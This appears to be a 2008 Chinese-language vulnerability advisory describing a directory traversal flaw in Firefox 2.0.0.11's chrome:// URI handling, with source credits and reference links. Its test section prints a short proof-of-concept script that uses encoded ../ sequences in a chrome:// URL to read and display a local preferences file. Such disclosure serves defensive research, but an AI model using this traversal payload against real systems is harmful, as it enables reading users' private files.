发布日期：2008-01-19
更新日期：2008-01-24

受影响系统：

Mozilla Firefox 2.0.0.11

描述：

---

BUGTRAQ  ID: 27406

Firefox是一款流行的开源WEB浏览器。

Firefox chrome:// URI的处理过程实现上存在目录遍历漏洞，远程攻击者可能利用此漏洞访问用户系统上的文件。

如果chrome软件包为“扁平”而不是包含于.jar中的话，chrome: URI主题就可能导致目录遍历，允许读取扩展目录外磁盘上可预测位置的文件。

<*来源：Gerry Eisenhaur
  
  链接：https://bugzilla.mozilla.org/show_bug.cgi?format=multiple&id=413250
        http://blog.mozilla.com/security/2008/01/22/chrome-protocol-directory-traversal/
        http://secunia.com/advisories/28622/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<script>pref = function(x, y){document.write(x + ' -> ' + y + '<br>');};</script>
<script src='chrome://downbar/content/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e
%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fProgram%20Files
%2fMozilla%20Thunderbird%2fgreprefs%2fall.js'></script>

建议：

---

厂商补丁：

Mozilla
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.mozilla.org/

浏览次数：2631
严重程度：0（网友投票）